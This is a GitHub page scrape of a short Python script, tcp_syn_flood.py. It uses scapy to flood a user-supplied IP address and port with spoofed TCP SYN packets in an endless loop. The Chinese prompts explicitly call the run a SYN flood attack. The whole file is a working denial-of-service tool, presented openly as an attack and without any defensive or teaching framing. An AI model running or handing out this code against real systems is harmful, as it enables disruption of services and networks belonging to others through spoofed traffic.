-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathtcp_syn_flood.py
38 lines (30 loc) · 935 Bytes
/
tcp_syn_flood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from scapy.all import *
from random import randint
def random_ip():
ip = str(randint(0,255))+'.'+str(randint(0,255))+'.'+str(randint(0,255))+'.'+str(randint(0,255))
return ip
def rand_number():
x = randint(1000,9000)
return x
def SYN_Flood(d_ip,d_port):
input('案任意鍵開始TCP SYN flood攻擊 按下CTRL+C終止攻擊')
while True:
s_port = rand_number()
s_eq = rand_number()
w_indow = rand_number()
IP_Packet = IP()
IP_Packet.src = random_ip()
IP_Packet.dst = d_ip
TCP_Packet = TCP()
TCP_Packet.sport = s_port
TCP_Packet.dport = int(d_port)
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
def main():
d_ip = input("請輸入IP\n")
d_port = input("請輸入port number\n")
SYN_Flood(d_ip,d_port)
if __name__ == '__main__':
main()